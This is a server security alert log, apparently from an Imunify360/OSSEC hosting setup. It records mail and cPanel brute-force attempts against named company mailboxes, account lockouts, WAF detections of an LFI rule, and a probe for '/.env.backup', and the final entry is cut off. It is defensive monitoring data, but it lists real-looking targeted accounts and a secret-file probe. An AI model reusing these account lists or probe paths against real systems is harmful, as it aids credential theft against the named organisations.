name: Mail Recipient rejected
abuser: 45.150.192.143
country_id: 2510769
description:
2026-01-30 12:46:36 H=(localhost.localdomain) [45.150.192.143]:56118 F=<info@kapkenya.org> temporarily rejected RCPT <info@pspoly.com.my>: Could not complete sender verify


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.185.176.126
country_id: 1269750
description:
2026-01-30 12:47:18 dovecot_login authenticator failed for H=(nsg-corporate-126.176.185.122.airtel.in) [122.185.176.126]:38778: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 42.200.73.3
country_id: 1819730
description:
2026-01-30 12:47:25 dovecot_login authenticator failed for H=42-200-73-3.static.imsbiz.com [42.200.73.3]:36569: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 77.246.53.187
country_id: 878675
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/shoulder/262/295335 HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.117.246.238
country_id: 2205218
description:
2026-01-30 12:48:43 dovecot_plain authenticator failed for H=(6S73LVD8) [45.117.246.238]:64319: 535 Incorrect authentication data (set_id=iliyas@maalloys.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.10.56.131
country_id: 1835841
description:
2026-01-30 12:48:57 dovecot_login authenticator failed for H=([59.10.56.129]) [59.10.56.131]:53503: 535 Incorrect authentication data (set_id=zainuddin@astlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.185.176.126
country_id: 1269750
description:
2026-01-30 12:49:08 dovecot_login authenticator failed for H=([27.123.119.235]) [122.185.176.126]:39226: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.185.248.122
country_id: 1269750
description:
2026-01-30 12:49:36 dovecot_login authenticator failed for H=(nsg-corporate-122.248.185.122.airtel.in) [122.185.248.122]:58284: 535 Incorrect authentication data (set_id=ysl)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 78.25.127.206
country_id: 2017370
description:
2026-01-30 12:49:27 dovecot_login authenticator failed for H=([78.25.127.206]) [78.25.127.206]:42953: 535 Incorrect authentication data (set_id=ysl@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.144.243.93
country_id: 2542007
description:
2026-01-30 12:51:44 dovecot_login authenticator failed for H=([154.144.243.93]) [154.144.243.93]:34596: 535 Incorrect authentication data (set_id=info@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 120.238.23.168
country_id: 1814991
description:
2026-01-30 12:52:06 dovecot_login authenticator failed for H=([120.238.23.168]) [120.238.23.168]:43044: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.113.254.26
country_id: 1814991
description:
2026-01-30 12:52:07 dovecot_login authenticator failed for H=([116.113.254.26]) [116.113.254.26]:42148: 535 Incorrect authentication data (set_id=info@stonewld.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.114.94.242
country_id: 1814991
description:
2026-01-30 12:52:30 dovecot_login authenticator failed for H=([116.114.94.242]) [116.114.94.242]:49248: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.73.190.98
country_id: 1835841
description:
2026-01-30 12:52:45 dovecot_login authenticator failed for H=([61.73.190.98]) [61.73.190.98]:33136: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 180.75.72.60
country_id: 1733045
description:
[2026-01-30 12:53:05 +0800] info [webmaild] 180.75.72.60 - finance@smartcable.com.my "POST /cpsess3862567965/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.217.255.171
country_id: 6252001
description:
2026-01-30 12:53:10 dovecot_login authenticator failed for H=([50.217.255.171]) [50.217.255.171]:34971: 535 Incorrect authentication data (set_id=amir@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 67.55.189.211
country_id: 6252001
description:
2026-01-30 12:53:31 dovecot_login authenticator failed for H=(wllk99-129-211.dsl.netins.net) [67.55.189.211]:58860: 535 Incorrect authentication data (set_id=amir)


plugin: ossec
rule: 2501
name: User authentication failure.
description:
127.0.0.1 - azlin@indfinitydesign.com [01/30/2026:04:54:58 -0000] "PROPFIND" FAILED LOGIN cpdavd: Authentication failed for user: azlin@indfinitydesign.com


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 180.75.72.60
country_id: 1733045
description:
[2026-01-30 12:54:05 +0800] info [webmaild] 180.75.72.60 - finance@smartcable.com.my "POST /cpsess3862567965/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.176.244
country_id: 1814991
description:
2026-01-30 12:54:31 dovecot_login authenticator failed for H=([111.61.176.244]) [111.61.176.244]:37532: 535 Incorrect authentication data (set_id=info@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.186.68.153
country_id: 1814991
description:
2026-01-30 12:55:55 dovecot_login authenticator failed for H=([222.186.68.153]) [222.186.68.153]:35616: 535 Incorrect authentication data (set_id=support@euratech.com.my)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 180.75.72.60
country_id: 1733045
description:
[2026-01-30 12:55:05 +0800] info [webmaild] 180.75.72.60 - finance@smartcable.com.my "POST /cpsess3862567965/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.57.69.227
country_id: 690791
description:
2026-01-30 12:55:11 dovecot_login authenticator failed for H=([37.57.69.227]) [37.57.69.227]:40551: 535 Incorrect authentication data (set_id=info)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 189.193.73.193
country_id: 3996063
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/sponsor-cabinet.php HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.53.15.17
country_id: 2542007
description:
2026-01-30 12:56:21 dovecot_login authenticator failed for H=([102.53.15.17]) [102.53.15.17]:56908: 535 Incorrect authentication data (set_id=admin@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.4.81.106
country_id: 1562822
description:
2026-01-30 12:56:45 dovecot_login authenticator failed for H=([117.4.81.106]) [117.4.81.106]:49986: 535 Incorrect authentication data (set_id=admin)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.177.48.237
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=93241514512750 HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-30 12:56:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:56698: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 67.60.211.114
country_id: 6252001
description:
2026-01-30 12:56:24 dovecot_login authenticator failed for H=67-60-211-114.cpe.sparklight.net [67.60.211.114]:32960: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.231.243.28
country_id: 6252001
description:
2026-01-30 12:57:30 dovecot_plain authenticator failed for H=(ceous) [50.231.243.28]:44752: 535 Incorrect authentication data (set_id=ww.teo@figofoods.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.176.122
country_id: 1269750
description:
2026-01-30 12:59:32 dovecot_login authenticator failed for H=([182.95.176.122]) [182.95.176.122]:46740: 535 Incorrect authentication data (set_id=aziz@euratech.com.my)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.150.192.143
country_id: 2510769
description:
2026-01-30 13:00:19 H=(localhost.localdomain) [45.150.192.143]:42676 F=<info@kapkenya.org> temporarily rejected RCPT <jacklim@ktlog.com.my>: Could not complete sender verify


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.197.57.79
country_id: 1733045
description:
2026-01-30 13:00:03 dovecot_login authenticator failed for H=(ipay.manforce.com.my) [103.197.57.79]:59040: 535 Incorrect authentication data (set_id=notification@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.169.6.99
country_id: 1814991
description:
2026-01-30 13:01:29 dovecot_login authenticator failed for H=([61.169.6.99]) [61.169.6.99]:56914: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.254.25.158
country_id: 2017370
description:
2026-01-30 13:01:59 dovecot_login authenticator failed for H=([46.254.25.158]) [46.254.25.158]:41406: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.118.110
country_id: 1733045
description:
2026-01-30 13:01:04 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.36]) [113.211.118.110]:47286: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.118.110
country_id: 1733045
description:
2026-01-30 13:02:40 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.36]) [113.211.118.110]:15643: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.197.57.79
country_id: 1733045
description:
2026-01-30 13:02:50 dovecot_login authenticator failed for H=(ipay.manforce.com.my) [103.197.57.79]:36546: 535 Incorrect authentication data (set_id=notification@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.118.110
country_id: 1733045
description:
2026-01-30 13:03:15 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.0.36]) [113.211.118.110]:15644: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 35.187.31.145
country_id: 2802361
description:
2026-01-30 13:03:53 969654 [Warning] Aborted connection 969654 to db: 'unconnected' user: 'unauthenticated' host: '35.187.31.145' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.197.57.79
country_id: 1733045
description:
2026-01-30 13:04:31 dovecot_login authenticator failed for H=(ipay.manforce.com.my) [103.197.57.79]:55776: 535 Incorrect authentication data (set_id=notification@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.167.117
country_id: 99237
description:
2026-01-30 13:04:46 dovecot_login authenticator failed for H=([65.20.167.117]) [65.20.167.117]:40356: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 202.69.43.178
country_id: 1168579
description:
2026-01-30 13:05:24 dovecot_plain authenticator failed for H=(7J2Z8VH88YREWO) [202.69.43.178]:55697: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.184.36.53
country_id: 1814991
description:
2026-01-30 13:05:27 dovecot_login authenticator failed for H=([61.184.36.58]) [61.184.36.53]:36238: 535 Incorrect authentication data (set_id=info@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.220.3.101
country_id: 226074
description:
2026-01-30 13:05:06 dovecot_login authenticator failed for H=([41.220.3.113]) [41.220.3.101]:7636: 535 Incorrect authentication data (set_id=info@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.246.66.209
country_id: 1819730
description:
2026-01-30 13:05:34 dovecot_login authenticator failed for H=209.66.246.220.static.netvigator.com [220.246.66.209]:52009: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-30 13:05:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:53709: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.151.13
country_id: 1733045
description:
2026-01-30 13:05:41 dovecot_login authenticator failed for H=([49.124.151.13]) [49.124.151.13]:57630: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.142.146.167
country_id: 1835841
description:
2026-01-30 13:06:51 dovecot_login authenticator failed for H=([121.142.146.167]) [121.142.146.167]:48309: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.72.74.162
country_id: 6252001
description:
2026-01-30 13:06:04 dovecot_login authenticator failed for H=(144.121.245.65.lightower.net) [64.72.74.162]:36917: 535 Incorrect authentication data (set_id=info@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.197.57.79
country_id: 1733045
description:
2026-01-30 13:06:10 dovecot_login authenticator failed for H=(ipay.manforce.com.my) [103.197.57.79]:60870: 535 Incorrect authentication data (set_id=notification@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 5.11.141.74
country_id: 298795
description:
2026-01-30 13:06:30 dovecot_plain authenticator failed for H=(morysent) [5.11.141.74]:45614: 535 Incorrect authentication data (set_id=ww.teo@figofoods.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.144.243.93
country_id: 2542007
description:
2026-01-30 13:06:32 dovecot_login authenticator failed for H=([154.144.243.93]) [154.144.243.93]:36406: 535 Incorrect authentication data (set_id=info@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.52.236.122
country_id: 1269750
description:
2026-01-30 13:07:37 dovecot_login authenticator failed for H=([125.16.31.25]) [152.52.236.122]:40980: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 84.1.34.242
country_id: 719819
description:
2026-01-30 13:07:50 dovecot_plain authenticator failed for H=dsl540122f2.fixip.t-online.hu (undrane) [84.1.34.242]:60112: 535 Incorrect authentication data (set_id=salesjb@col.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 76.145.10.140
country_id: 6252001
description:
2026-01-30 13:07:58 dovecot_plain authenticator failed for H=c-76-145-10-140.hsd1.ga.comcast.net (resonjux) [76.145.10.140]:38558: 535 Incorrect authentication data (set_id=info@smartcable.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 95.87.248.223
country_id: 732800
description:
2026-01-30 13:08:37 dovecot_login authenticator failed for H=95-87-248-223.ip.btc-net.bg [95.87.248.223]:42750: 535 Incorrect authentication data (set_id=amir)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 35.130.111.98
country_id: 6252001
description:
2026-01-30 13:08:07 dovecot_login authenticator failed for H=syn-035-130-111-098.biz.spectrum.com [35.130.111.98]:47715: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.203.210.119
country_id: 1269750
description:
2026-01-30 13:08:11 dovecot_login authenticator failed for H=([103.203.210.119]) [103.203.210.119]:33785: 535 Incorrect authentication data (set_id=amir@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 180.168.119.2
country_id: 1814991
description:
2026-01-30 13:08:17 dovecot_login authenticator failed for H=([180.168.119.2]) [180.168.119.2]:50191: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.197.57.79
country_id: 1733045
description:
2026-01-30 13:08:23 dovecot_login authenticator failed for H=(ipay.manforce.com.my) [103.197.57.79]:39280: 535 Incorrect authentication data (set_id=notification@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.189.196.134
country_id: 1814991
description:
2026-01-30 13:09:20 dovecot_login authenticator failed for H=([220.189.196.134]) [220.189.196.134]:37707: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 223.223.177.215
country_id: 1814991
description:
2026-01-30 13:09:34 dovecot_login authenticator failed for H=([223.223.177.220]) [223.223.177.215]:58250: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.197.57.79
country_id: 1733045
description:
2026-01-30 13:09:50 dovecot_login authenticator failed for H=(ipay.manforce.com.my) [103.197.57.79]:37034: 535 Incorrect authentication data (set_id=notification@manforce.net)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.191.101.31
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=515102 HTTP/1.1||RSV:7.69||T:APACHE||


plugin: modsec
rule: 77142247
name: IM360 WAF: Track WordPress WP Custom Pages 0.5.0.1 LFI
abuser: 49.51.253.83
country_id: 6252001
domain: feliogroup.com.my
description:
IM360 WAF: Track WordPress WP Custom Pages 0.5.0.1 LFI||RSV:7.69||T:APACHE||MVN:REQUEST_FILENAME||MV:/download.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.197.57.79
country_id: 1733045
description:
2026-01-30 13:11:07 dovecot_login authenticator failed for H=(ipay.manforce.com.my) [103.197.57.79]:60828: 535 Incorrect authentication data (set_id=notification@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.197.57.79
country_id: 1733045
description:
2026-01-30 13:12:22 dovecot_login authenticator failed for H=(ipay.manforce.com.my) [103.197.57.79]:46310: 535 Incorrect authentication data (set_id=notification@manforce.net)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 175.142.113.50
country_id: 1733045
description:
[2026-01-30 13:13:02 +0800] info [webmaild] 175.142.113.50 - admin@evergrown.com.my "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.197.57.79
country_id: 1733045
description:
2026-01-30 13:13:24 dovecot_login authenticator failed for H=(ipay.manforce.com.my) [103.197.57.79]:52132: 535 Incorrect authentication data (set_id=notification@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.235.155
country_id: 6252001
description:
2026-01-30 13:13:30 dovecot_login authenticator failed for H=(zVRZA9g3y) [165.154.235.155]:57220: 535 Incorrect authentication data (set_id=lim@imax.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.235.155
country_id: 6252001
description:
2026-01-30 13:14:11 dovecot_login authenticator failed for H=(WxXhwReCF1) [165.154.235.155]:58506: 535 Incorrect authentication data (set_id=lim@imax.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.168.213.21
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=74861514942266 HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.197.57.79
country_id: 1733045
description:
2026-01-30 13:15:10 dovecot_login authenticator failed for H=(ipay.manforce.com.my) [103.197.57.79]:60996: 535 Incorrect authentication data (set_id=notification@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.142.146.167
country_id: 1835841
description:
2026-01-30 13:15:14 dovecot_login authenticator failed for H=([121.142.146.167]) [121.142.146.167]:44595: 535 Incorrect authentication data (set_id=admin@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.173.105.206
country_id: 1814991
description:
2026-01-30 13:15:37 dovecot_login authenticator failed for H=([60.173.105.206]) [60.173.105.206]:34937: 535 Incorrect authentication data (set_id=admin)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.247.38.119
country_id: 2963597
domain: figofoods.com.my
description:
IM360 WAF: Bad file extension||RSV:7.69||T:APACHE||MVN:REQUEST_FILENAME||MV:/.env.backup||User:cabecom||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.10.10.20
country_id: 1814991
description:
2026-01-30 13:15:16 dovecot_login authenticator failed for H=([221.10.10.20]) [221.10.10.20]:42002: 535 Incorrect authentication data (set_id=support@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.228.237.90
country_id: 1814991
description:
2026-01-30 13:15:33 dovecot_login authenticator failed for H=([221.228.237.90]) [221.228.237.90]:39500: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.222.178
country_id: 1269750
description:
2026-01-30 13:15:41 dovecot_login authenticator failed for H=([182.95.222.178]) [182.95.222.178]:45000: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.189.59.226
country_id: 337996
description:
2026-01-30 13:15:05 dovecot_login authenticator failed for H=([196.189.59.226]) [196.189.59.226]:50903: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.235.155
country_id: 6252001
description:
2026-01-30 13:15:09 dovecot_login authenticator failed for H=(aEHqVz) [165.154.235.155]:61417: 535 Incorrect authentication data (set_id=lim@imax.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.235.155
country_id: 6252001
description:
2026-01-30 13:16:07 dovecot_login authenticator failed for H=(sLIExEjiZ0) [165.154.235.155]:64430: 535 Incorrect authentication data (set_id=lim@imax.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.235.155
country_id: 6252001
description:
Jan 30 13:16:24 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account lim@imax.com.my has been locked for the attacker IP 165.154.235.155


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.75.218.103
country_id: 1269750
description:
2026-01-30 13:16:50 dovecot_login authenticator failed for H=([103.55.89.5]) [116.75.218.103]:40002: 535 Incorrect authentication data (set_id=support@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 202.82.20.241
country_id: 1819730
description:
2026-01-30 13:16:23 dovecot_login authenticator failed for H=202-82-20-241.static.imsbiz.com [202.82.20.241]:57187: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.197.57.79
country_id: 1733045
description:
2026-01-30 13:16:13 dovecot_login authenticator failed for H=(ipay.manforce.com.my) [103.197.57.79]:37620: 535 Incorrect authentication data (set_id=notification@manforce.net)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.235.155
country_id: 6252001
description:
Jan 30 13:17:04 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account lim@imax.com.my has been locked for the attacker IP 165.154.235.155


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.235.155
country_id: 6252001
description:
2026-01-30 13:17:06 dovecot_login authenticator failed for H=(n1QUpTldu) [165.154.235.155]:51248: 535 Incorrect authentication data (set_id=lim@imax.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.197.57.79
country_id: 1733045
description:
2026-01-30 13:17:24 dovecot_login authenticator failed for H=(ipay.manforce.com.my) [103.197.57.79]:52056: 535 Incorrect authentication data (set_id=notification@manforce.net)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.235.155
country_id: 6252001
description:
2026-01-30 13:17:25 dovecot_login authenticator failed for H=(rUomtcXK) [165.154.235.155]:52249: 535 Incorrect authentication data (set_id=lim@imax.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 216.24.213.34
country_id: 2921044
description:
2026-01-30 13:17:37 dovecot_login authenticator failed for H=(ADMIN) [216.24.213.34]:12518: 535 Incorrect authentication data (set_id=info@dsc-expat.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.235.155
country_id: 6252001
description:
Jan 30 13:18:02 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account lim@imax.com.my has been locked for the attacker IP 165.154.235.155


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.235.155
country_id: 6252001
description:
2026-01-30 13:18:04 dovecot_login authenticator failed for H=(iJ3SWLc) [165.154.235.155]:54261: 535 Incorrect authentication data (set_id=lim@imax.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.80.223.144
country_id: 1835841
description:
2026-01-30 13:18:29 dovecot_login authenticator failed for H=([220.80.223.144]) [220.80.223.144]:41518: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.168.113.8
country_id: 3469034
description:
[2026-01-30 13:19:20 +0800] info [cpaneld] 45.168.113.8 - kimmark "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.235.155
country_id: 6252001
description:
Jan 30 13:19:01 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account lim@imax.com.my has been locked for the attacker IP 165.154.235.155


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.235.155
country_id: 6252001
description:
2026-01-30 13:19:03 dovecot_login authenticator failed for H=(aE81jeDEX) [165.154.235.155]:57567: 535 Incorrect authentication data (set_id=lim@imax.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 165.154.235.155
country_id: 6252001
description:
Jan 30 13:20:20 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account lim@imax.com.my has been locked for the attacker IP 165.154.235.155


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.150.192.143
country_id: 2510769
description:
2026-01-30 13:20:45 H=(localhost.localdomain) [45.150.192.143]:35036 F=<info@kapkenya.org> temporarily rejected RCPT <cky@ahfengineering.com>: Could not complete sender verify


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.201.212.54
country_id: 99237
description:
2026-01-30 13:20:57 dovecot_login authenticator failed for H=([62.201.212.54]) [62.201.212.54]:59026: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.235.155
country_id: 6252001
description:
2026-01-30 13:20:03 dovecot_login authenticator failed for H=(ZigTYYHQB6) [165.154.235.155]:60778: 535 Incorrect authentication data (set_id=lim@imax.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.149.161.131
country_id: 6252001
description:
2026-01-30 13:21:11 dovecot_login authenticator failed for H=c-50-149-161-131.hsd1.tn.comcast.net [50.149.161.131]:50552: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.235.155
country_id: 6252001
description:
2026-01-30 13:21:20 dovecot_login authenticator failed for H=(Eo6Tj7E0) [165.154.235.155]:64714: 535 Incorrect authentication data (set_id=lim@imax.com.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 165.154.235.155
country_id: 6252001
description:
2026-01-30 13:22:00 dovecot_login authenticator failed for H=(ZZ3Fil) [165.154.235.155]:50327: 535 Incorrect authentication data (set_id=lim@imax.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.235.155
country_id: 6252001
description:
2026-01-30 13:22:20 dovecot_login authenticator failed for H=(QzunXgN) [165.154.235.155]:51369: 535 Incorrect authentication data (set_id=lim@imax.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.185.187.30
country_id: 1269750
description:
2026-01-30 13:22:29 dovecot_login authenticator failed for H=(nsg-corporate-81.166.185.122.airtel.in) [122.185.187.30]:51692: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.72.74.162
country_id: 6252001
description:
2026-01-30 13:23:52 dovecot_login authenticator failed for H=(host-64-72-74-162.lightower.net) [64.72.74.162]:47497: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.235.155
country_id: 6252001
description:
2026-01-30 13:23:00 dovecot_login authenticator failed for H=(I2zH9OYOwp) [165.154.235.155]:53432: 535 Incorrect authentication data (set_id=lim@imax.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 36.249.98.23
country_id: 1814991
description:
